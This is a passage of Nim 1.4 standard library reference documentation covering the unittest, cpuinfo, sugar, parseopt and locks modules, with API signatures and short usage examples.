done. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L119) ``` OutputLevel = enum PRINT_ALL, ## Print as much as possible. PRINT_FAILURES, ## Print only the failed tests. PRINT_NONE ## Print nothing. ``` The output verbosity of the tests. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L124) ``` TestResult = object suiteName*: string ## Name of the test suite that contains this test case. ## Can be ``nil`` if the test case is not in a suite. testName*: string ## Name of the test case status*: TestStatus ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L129) ``` OutputFormatter = ref object of RootObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L137) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L137) ``` ConsoleOutputFormatter = ref object of OutputFormatter colorOutput: bool ## Have test results printed in color. ## Default is true for the non-js target, ## for which ``stdout`` is a tty. ## Setting the environment variable ## ``NIMTEST_COLOR`` to ``always`` or ## ``never`` changes the default for the ## non-js target to true or false respectively. ## The deprecated environment variable ## ``NIMTEST_NO_COLOR``, when set, ## changes the default to true, if ## ``NIMTEST_COLOR`` is undefined. outputLevel: OutputLevel ## Set the verbosity of test results. ## Default is ``PRINT_ALL``, unless ## the ``NIMTEST_OUTPUT_LVL`` environment ## variable is set for the non-js target. isInSuite: bool isInTest: bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L139) ``` JUnitOutputFormatter = ref object of OutputFormatter stream: Stream testErrors: seq[string] testStartTime: float testStackTrace: string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L160) Vars ---- ``` abortOnError: bool ``` Set to true in order to quit immediately on fail. Default is false, unless the `NIMTEST_ABORT_ON_ERROR` environment variable is set for the non-js target. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L167) Procs ----- ``` proc addOutputFormatter(formatter: OutputFormatter) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L195) ``` proc delOutputFormatter(formatter: OutputFormatter) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L198) ``` proc resetOutputFormatters() {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L202) ``` proc newConsoleOutputFormatter(outputLevel: OutputLevel = OutputLevel.PRINT_ALL; colorOutput = true): ConsoleOutputFormatter {...}{. raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L205) ``` proc defaultConsoleFormatter(): ConsoleOutputFormatter {...}{.raises: [], tags: [ReadEnvEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L212) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L212) ``` proc newJUnitOutputFormatter(stream: Stream): JUnitOutputFormatter {...}{. raises: [IOError, OSError], tags: [WriteIOEffect].} ``` Creates a formatter that writes report to the specified stream in JUnit format. The `stream` is NOT closed automatically when the test are finished, because the formatter has no way to know when all tests are finished. You should invoke formatter.close() to finalize the report. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L295) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L295) ``` proc close(formatter: JUnitOutputFormatter) {...}{. raises: [IOError, OSError, Exception], tags: [WriteIOEffect].} ``` Completes the report and closes the underlying stream. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L310) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L310) ``` proc checkpoint(msg: string) {...}{.raises: [], tags: [].} ``` Set a checkpoint identified by `msg`. Upon test failure all checkpoints encountered so far are printed out. Example: ``` checkpoint("Checkpoint A") check((42, "the Answer to life and everything") == (1, "a")) checkpoint("Checkpoint B") ``` outputs "Checkpoint A" once it fails. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L545) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L545) ``` proc disableParamFiltering() {...}{.raises: [], tags: [].} ``` disables filtering tests with the command line params [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L749) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L749) Methods ------- ``` method suiteStarted(formatter: OutputFormatter; suiteName: string) {...}{.base, gcsafe, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L181) ``` method testStarted(formatter: OutputFormatter; testName: string) {...}{.base, gcsafe, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L183) ``` method failureOccurred(formatter: OutputFormatter; checkpoints: seq[string]; stackTrace: string) {...}{.base, gcsafe, raises: [], tags: [].} ``` `stackTrace` is provided only if the failure occurred due to an exception. `checkpoints` is never `nil`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L185) ``` method testEnded(formatter: OutputFormatter; testResult: TestResult) {...}{.base, gcsafe, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L190) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L190) ``` method suiteEnded(formatter: OutputFormatter) {...}{.base, gcsafe, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L192) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L192) ``` method suiteStarted(formatter: ConsoleOutputFormatter; suiteName: string) {...}{. raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L236) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L236) ``` method testStarted(formatter: ConsoleOutputFormatter; testName: string) {...}{. raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L245) ``` method failureOccurred(formatter: ConsoleOutputFormatter; checkpoints: seq[string]; stackTrace: string) {...}{. raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L248) ``` method testEnded(formatter: ConsoleOutputFormatter; testResult: TestResult) {...}{. raises: [IOError, ValueError], tags: [WriteIOEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L256) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L256) ``` method suiteEnded(formatter: ConsoleOutputFormatter) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L277) ``` method suiteStarted(formatter: JUnitOutputFormatter; suiteName: string) {...}{. raises: [IOError, OSError, ValueError], tags: [WriteIOEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L315) ``` method testStarted(formatter: JUnitOutputFormatter; testName: string) {...}{. raises: [], tags: [TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L318) ``` method failureOccurred(formatter: JUnitOutputFormatter; checkpoints: seq[string]; stackTrace: string) {...}{. raises: [], tags: [].} ``` `stackTrace` is provided only if the failure occurred due to an exception. `checkpoints` is never `nil`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L323) ``` method testEnded(formatter: JUnitOutputFormatter; testResult: TestResult) {...}{. raises: [IOError, OSError, ValueError], tags: [TimeEffect, WriteIOEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L331) ``` method suiteEnded(formatter: JUnitOutputFormatter) {...}{.raises: [IOError, OSError], tags: [WriteIOEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L372) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L372) Macros ------ ``` macro check(conditions: untyped): untyped ``` Verify if a statement or a list of statements is true. A helpful error message and set checkpoints are printed out on failure (if `outputLevel` is not `PRINT_NONE`). Example: ``` import strutils check("AKB48".toLowerAscii() == "akb48") let teams = {'A', 'K', 'B', '4', '8'} check: "AKB48".toLowerAscii() == "akb48" 'C' in teams ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L607) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L607) ``` macro expect(exceptions: varargs[typed]; body: untyped): untyped ``` Test if `body` raises an exception found in the passed `exceptions`. The test passes if the raised exception is part of the acceptable exceptions. Otherwise, it fails. Example: ``` import math, random proc defectiveRobot() = randomize() case rand(1..4) of 1: raise newException(OSError, "CANNOT COMPUTE!") of 2: discard parseInt("Hello World!") of 3: raise newException(IOError, "I can't do that Dave.") else: assert 2 + 2 == 5 expect IOError, OSError, ValueError, AssertionDefect: defectiveRobot() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L710) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L710) Templates --------- ``` template suite(name, body) {...}{.dirty.} ``` Declare a test suite identified by `name` with optional `setup` and/or `teardown` section. A test suite is a series of one or more related tests sharing a common fixture (`setup`, `teardown`). The fixture is executed for EACH test. ``` suite "test suite for addition": setup: let result = 4 test "2 + 2 = 4": check(2+2 == result) test "(2 + -2) != 4": check(2 + -2 != result) # No teardown needed ``` The suite will run the individual test cases in the order in which they were listed. With default global settings the above code prints: ``` [Suite] test suite for addition [OK] 2 + 2 = 4 [OK] (2 + -2) != 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L444) ``` template test(name, body) {...}{.dirty.} ``` Define a single test case identified by `name`. ``` test "roses are red": let roses = "red" check(roses == "red") ``` The above code outputs: ``` [OK] roses are red ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L496) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L496) ``` template fail() ``` Print out the checkpoints encountered so far and quit if `abortOnError` is true. Otherwise, erase the checkpoints and indicate the test has failed (change exit code and test status). This template is useful for debugging, but is otherwise mostly used internally. Example: ``` checkpoint("Checkpoint A") complicatedProcInThread() fail() ``` outputs "Checkpoint A" before quitting. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L559) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L559) ``` template skip() ``` Mark the test as skipped. Should be used directly in case when it is not possible to perform test for reasons depending on outer environment, or certain application logic conditions or configurations. The test code is still executed. ``` if not isGLContextCreated(): skip() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L591) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L591) ``` template require(conditions: untyped) ``` Same as `check` except any failed test causes the program to quit immediately. Any teardown statements are not executed and the failed test output is not generated. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unittest.nim#L700) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unittest.nim#L700)
programming_docs
nim cpuinfo cpuinfo ======= This module implements procs to determine the number of CPUs / cores. **Example:** ``` block: doAssert countProcessors() > 0 ``` Imports ------- <posix> Procs ----- ``` proc countProcessors(): int {...}{.gcsafe, extern: "ncpi$1", raises: [], tags: [].} ``` returns the number of the processors/cores the machine has. Returns 0 if it cannot be detected. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/cpuinfo.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/cpuinfo.nim#L49) nim sugar sugar ===== This module implements nice syntactic sugar based on Nim's macro system. Imports ------- <since>, <macros>, <underscored_calls>, <algorithm>, <random>, <sets>, <tables>, <strutils> Macros ------ ``` macro `=>`(p, b: untyped): untyped ``` Syntax sugar for anonymous procedures. It also supports pragmas. **Example:** ``` proc passTwoAndTwo(f: (int, int) -> int): int = f(2, 2) doAssert passTwoAndTwo((x, y) => x + y) == 4 type Bot = object call: proc (): string {.nosideEffect.} var myBot = Bot() myBot.call = () {.nosideEffect.} => "I'm a bot." doAssert myBot.call() == "I'm a bot." ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/sugar.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/sugar.nim#L58) ``` macro `->`(p, b: untyped): untyped ``` Syntax sugar for procedure types. ``` proc pass2(f: (float, float) -> float): float = f(2, 2) # is the same as: proc pass2(f: proc (x, y: float): float): float = f(2, 2) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/sugar.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/sugar.nim#L146) ``` macro dump(x: untyped): untyped ``` Dumps the content of an expression, useful for debugging. It accepts any expression and prints a textual representation of the tree representing the expression - as it would appear in source code - together with the value of the expression. As an example, ``` let x = 10 y = 20 dump(x + y) ``` will print `x + y = 30`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/sugar.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/sugar.nim#L161) ``` macro capture(locals: varargs[typed]; body: untyped): untyped ``` Useful when creating a closure in a loop to capture some local loop variables by their current iteration values. Example: ``` import strformat, sequtils, sugar var myClosure : proc() for i in 5..7: for j in 7..9: if i * j == 42: capture i, j: myClosure = proc () = echo fmt"{i} * {j} = 42" myClosure() # output: 6 * 7 == 42 let m = @[proc (s: string): string = "to " & s, proc (s: string): string = "not to " & s] var l = m.mapIt(capture(it, proc (s: string): string = it(s))) let r = l.mapIt(it("be")) echo r[0] & ", or " & r[1] # output: to be, or not to be ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/sugar.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/sugar.nim#L197) ``` macro dup[T](arg: T; calls: varargs[untyped]): T ``` Turns an in-place algorithm into one that works on a copy and returns this copy, without modifying its input. This macro also allows for (otherwise in-place) function chaining. **Since**: Version 1.2. **Example:** ``` import algorithm var a = @[1, 2, 3, 4, 5, 6, 7, 8, 9] doAssert a.dup(sort) == sorted(a) # Chaining: var aCopy = a aCopy.insert(10) doAssert a.dup(insert(10), sort) == sorted(aCopy) var s1 = "abc" var s2 = "xyz" doAssert s1 & s2 == s1.dup(&= s2) proc makePalindrome(s: var string) = for i in countdown(s.len-2, 0): s.add(s[i]) var c = "xyz" # An underscore (_) can be used to denote the place of the argument you're passing: doAssert "".dup(addQuoted(_, "foo")) == "\"foo\"" # but `_` is optional here since the substitution is in 1st position: doAssert "".dup(addQuoted("foo")) == "\"foo\"" # chaining: # b = "xyz" var d = dup c: makePalindrome # xyzyx sort(_, SortOrder.Descending) # zyyxx makePalindrome # zyyxxxyyz doAssert d == "zyyxxxyyz" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/sugar.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/sugar.nim#L228) ``` macro collect(init, body: untyped): untyped ``` Comprehension for seq/set/table collections. `init` is the init call, and so custom collections are supported. The last statement of `body` has special syntax that specifies the collection's add operation. Use `{e}` for set's `incl`, `{k: v}` for table's `[]=` and `e` for seq's `add`. The `init` proc can be called with any number of arguments, i.e. `initTable(initialSize)`. **Example:** ``` import sets, tables let data = @["bird", "word"] ## seq: let k = collect(newSeq): for i, d in data.pairs: if i mod 2 == 0: d assert k == @["bird"] ## seq with initialSize: let x = collect(newSeqOfCap(4)): for i, d in data.pairs: if i mod 2 == 0: d assert x == @["bird"] ## HashSet: let y = initHashSet.collect: for d in data.items: {d} assert y == data.toHashSet ## Table: let z = collect(initTable(2)): for i, d in data.pairs: {i: d} assert z == {0: "bird", 1: "word"}.toTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/sugar.nim#L314) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/sugar.nim#L314) nim parseopt parseopt ======== This module provides the standard Nim command line parser. It supports one convenience iterator over all command line options and some lower-level features. Supported Syntax ---------------- The following syntax is supported when arguments for the `shortNoVal` and `longNoVal` parameters, which are [described later](#shortnoval-and-longnoval), are not provided: 1. Short options: `-abcd`, `-e:5`, `-e=5` 2. Long options: `--foo:bar`, `--foo=bar`, `--foo` 3. Arguments: everything that does not start with a `-` These three kinds of tokens are enumerated in the [CmdLineKind enum](#CmdLineKind). When option values begin with ':' or '=', they need to be doubled up (as in `--delim::`) or alternated (as in `--delim=:`). The `--` option, commonly used to denote that every token that follows is an argument, is interpreted as a long option, and its name is the empty string. Parsing ------- Use an [OptParser](#OptParser) to parse command line options. It can be created with [initOptParser](#initOptParser,string,set%5Bchar%5D,seq%5Bstring%5D), and [next](#next,OptParser) advances the parser by one token. For each token, the parser's `kind`, `key`, and `val` fields give information about that token. If the token is a long or short option, `key` is the option's name, and `val` is either the option's value, if provided, or the empty string. For arguments, the `key` field contains the argument itself, and `val` is unused. To check if the end of the command line has been reached, check if `kind` is equal to `cmdEnd`. Here is an example: ``` import parseopt var p = initOptParser("-ab -e:5 --foo --bar=20 file.txt") while true: p.next() case p.kind of cmdEnd: break of cmdShortOption, cmdLongOption: if p.val == "": echo "Option: ", p.key else: echo "Option and value: ", p.key, ", ", p.val of cmdArgument: echo "Argument: ", p.key # Output: # Option: a # Option: b # Option and value: e, 5 # Option: foo # Option and value: bar, 20 # Argument: file.txt ``` The [getopt iterator](#getopt.i,OptParser), which is provided for convenience, can be used to iterate through all command line options as well. `shortNoVal` and `longNoVal` ----------------------------- The optional `shortNoVal` and `longNoVal` parameters present in [initOptParser](#initOptParser,string,set%5Bchar%5D,seq%5Bstring%5D) are for specifying which short and long options do not accept values. When `shortNoVal` is non-empty, users are not required to separate short options and their values with a ':' or '=' since the parser knows which options accept values and which ones do not. This behavior also applies for long options if `longNoVal` is non-empty. For short options, `-j4` becomes supported syntax, and for long options, `--foo bar` becomes supported. This is in addition to the [previously mentioned syntax](#supported-syntax). Users can still separate options and their values with ':' or '=', but that becomes optional. As more options which do not accept values are added to your program, remember to amend `shortNoVal` and `longNoVal` accordingly. The following example illustrates the difference between having an empty `shortNoVal` and `longNoVal`, which is the default, and providing arguments for those two parameters: ``` import parseopt proc printToken(kind: CmdLineKind, key: string, val: string) = case kind of cmdEnd: doAssert(false) # Doesn't happen with getopt() of cmdShortOption, cmdLongOption: if val == "": echo "Option: ", key else: echo "Option and value: ", key, ", ", val of cmdArgument: echo "Argument: ", key let cmdLine = "-j4 --first bar" var emptyNoVal = initOptParser(cmdLine) for kind, key, val in emptyNoVal.getopt(): printToken(kind, key, val) # Output: # Option: j # Option: 4 # Option: first # Argument: bar var withNoVal = initOptParser(cmdLine, shortNoVal = {'c'}, longNoVal = @["second"]) for kind, key, val in withNoVal.getopt(): printToken(kind, key, val) # Output: # Option and value: j, 4 # Option and value: first, bar ``` See also -------- * [os module](os) for lower-level command line parsing procs * [parseutils module](parseutils) for helpers that parse tokens, numbers, identifiers, etc. * [strutils module](strutils) for common string handling operations * [json module](json) for a JSON parser * [parsecfg module](parsecfg) for a configuration file parser * [parsecsv module](parsecsv) for a simple CSV (comma separated value) parser * [parsexml module](parsexml) for a XML / HTML parser * [other parsers](lib#pure-libraries-parsers) for more parsers Imports ------- <os> Types ----- ``` CmdLineKind = enum cmdEnd, ## End of command line reached cmdArgument, ## An argument such as a filename cmdLongOption, ## A long option such as --option cmdShortOption ## A short option such as -c ``` The detected command line token. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseopt.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseopt.nim#L157) ``` OptParser = object of RootObj pos*: int inShortState: bool allowWhitespaceAfterColon: bool shortNoVal: set[char] longNoVal: seq[string] cmds: seq[string] idx: int kind*: CmdLineKind ## The detected command line token key*, val*: TaintedString ## Key and value pair; the key is the option ## or the argument, and the value is not "" if ## the option was given a value ``` Implementation of the command line parser. To initialize it, use the [initOptParser proc](#initOptParser,string,set%5Bchar%5D,seq%5Bstring%5D). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseopt.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseopt.nim#L162) Procs ----- ``` proc initOptParser(cmdline = ""; shortNoVal: set[char] = {}; longNoVal: seq[string] = @[]; allowWhitespaceAfterColon = true): OptParser {...}{.raises: [], tags: [ReadIOEffect].} ``` Initializes the command line parser. If `cmdline == ""`, the real command line as provided by the `os` module is retrieved instead. `shortNoVal` and `longNoVal` are used to specify which options do not take values. See the [documentation about these parameters](#shortnoval-and-longnoval) for more information on how this affects parsing. See also: * [getopt iterator](#getopt.i,OptParser) **Example:** ``` var p = initOptParser() p = initOptParser("--left --debug:3 -l -r:2") p = initOptParser("--left --debug:3 -l -r:2", shortNoVal = {'l'}, longNoVal = @["left"]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseopt.nim#L199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseopt.nim#L199) ``` proc initOptParser(cmdline: seq[TaintedString]; shortNoVal: set[char] = {}; longNoVal: seq[string] = @[]; allowWhitespaceAfterColon = true): OptParser {...}{.raises: [], tags: [ReadIOEffect].} ``` Initializes the command line parser. If `cmdline.len == 0`, the real command line as provided by the `os` module is retrieved instead. Behavior of the other parameters remains the same as in [initOptParser(string, ...)](#initOptParser,string,set%5Bchar%5D,seq%5Bstring%5D). See also: * [getopt iterator](#getopt.i,seq%5BTaintedString%5D,set%5Bchar%5D,seq%5Bstring%5D) **Example:** ``` var p = initOptParser() p = initOptParser(@["--left", "--debug:3", "-l", "-r:2"]) p = initOptParser(@["--left", "--debug:3", "-l", "-r:2"], shortNoVal = {'l'}, longNoVal = @["left"]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseopt.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseopt.nim#L237) ``` proc next(p: var OptParser) {...}{.gcsafe, extern: "npo$1", raises: [], tags: [].} ``` Parses the next token. `p.kind` describes what kind of token has been parsed. `p.key` and `p.val` are set accordingly. **Example:** ``` var p = initOptParser("--left -r:2 file.txt") p.next() doAssert p.kind == cmdLongOption and p.key == "left" p.next() doAssert p.kind == cmdShortOption and p.key == "r" and p.val == "2" p.next() doAssert p.kind == cmdArgument and p.key == "file.txt" p.next() doAssert p.kind == cmdEnd ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseopt.nim#L299) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseopt.nim#L299) ``` proc cmdLineRest(p: OptParser): TaintedString {...}{.gcsafe, extern: "npo$1", raises: [], tags: [].} ``` Retrieves the rest of the command line that has not been parsed yet. See also: * [remainingArgs proc](#remainingArgs,OptParser) **Examples:** ``` var p = initOptParser("--left -r:2 -- foo.txt bar.txt") while true: p.next() if p.kind == cmdLongOption and p.key == "": # Look for "--" break else: continue doAssert p.cmdLineRest == "foo.txt bar.txt" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseopt.nim#L369) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseopt.nim#L369) ``` proc remainingArgs(p: OptParser): seq[TaintedString] {...}{.gcsafe, extern: "npo$1", raises: [], tags: [].} ``` Retrieves a sequence of the arguments that have not been parsed yet. See also: * [cmdLineRest proc](#cmdLineRest,OptParser) **Examples:** ``` var p = initOptParser("--left -r:2 -- foo.txt bar.txt") while true: p.next() if p.kind == cmdLongOption and p.key == "": # Look for "--" break else: continue doAssert p.remainingArgs == @["foo.txt", "bar.txt"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseopt.nim#L387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseopt.nim#L387) Iterators --------- ``` iterator getopt(p: var OptParser): tuple[kind: CmdLineKind, key, val: TaintedString] {...}{.raises: [], tags: [].} ``` Convenience iterator for iterating over the given [OptParser](#OptParser). There is no need to check for `cmdEnd` while iterating. See also: * [initOptParser proc](#initOptParser,string,set%5Bchar%5D,seq%5Bstring%5D) **Examples:** ``` # these are placeholders, of course proc writeHelp() = discard proc writeVersion() = discard var filename: string var p = initOptParser("--left --debug:3 -l -r:2") for kind, key, val in p.getopt(): case kind of cmdArgument: filename = key of cmdLongOption, cmdShortOption: case key of "help", "h": writeHelp() of "version", "v": writeVersion() of cmdEnd: assert(false) # cannot happen if filename == "": # no filename has been given, so we show the help writeHelp() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseopt.nim#L406) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseopt.nim#L406) ``` iterator getopt(cmdline: seq[TaintedString] = commandLineParams(); shortNoVal: set[char] = {}; longNoVal: seq[string] = @[]): tuple[ kind: CmdLineKind, key, val: TaintedString] {...}{.raises: [], tags: [ReadIOEffect].} ``` Convenience iterator for iterating over command line arguments. This creates a new [OptParser](#OptParser). If no command line arguments are provided, the real command line as provided by the `os` module is retrieved instead. `shortNoVal` and `longNoVal` are used to specify which options do not take values. See the [documentation about these parameters](#shortnoval-and-longnoval) for more information on how this affects parsing. There is no need to check for `cmdEnd` while iterating. See also: * [initOptParser proc](#initOptParser,seq%5BTaintedString%5D,set%5Bchar%5D,seq%5Bstring%5D) **Examples:** ``` # these are placeholders, of course proc writeHelp() = discard proc writeVersion() = discard var filename: string let params = @["--left", "--debug:3", "-l", "-r:2"] for kind, key, val in getopt(params): case kind of cmdArgument: filename = key of cmdLongOption, cmdShortOption: case key of "help", "h": writeHelp() of "version", "v": writeVersion() of cmdEnd: assert(false) # cannot happen if filename == "": # no filename has been written, so we show the help writeHelp() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parseopt.nim#L446) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parseopt.nim#L446) nim locks locks ===== This module contains Nim's support for locks and condition vars. Types ----- ``` Lock = SysLock ``` Nim lock; whether this is re-entrant or not is unspecified! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L25) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L25) ``` Cond = SysCond ``` Nim condition variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L27) Procs ----- ``` proc initLock(lock: var Lock) {...}{.inline, raises: [], tags: [].} ``` Initializes the given lock. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L31) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L31) ``` proc deinitLock(lock: var Lock) {...}{.inline, raises: [], tags: [].} ``` Frees the resources associated with the lock. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L36) ``` proc tryAcquire(lock: var Lock): bool {...}{.raises: [], tags: [].} ``` Tries to acquire the given lock. Returns `true` on success. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/locks.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/locks.nim#L40) ``` proc acquire(lock: var Lock) {...}{.raises: [], tags: [].} ``` Acquires the given lock. 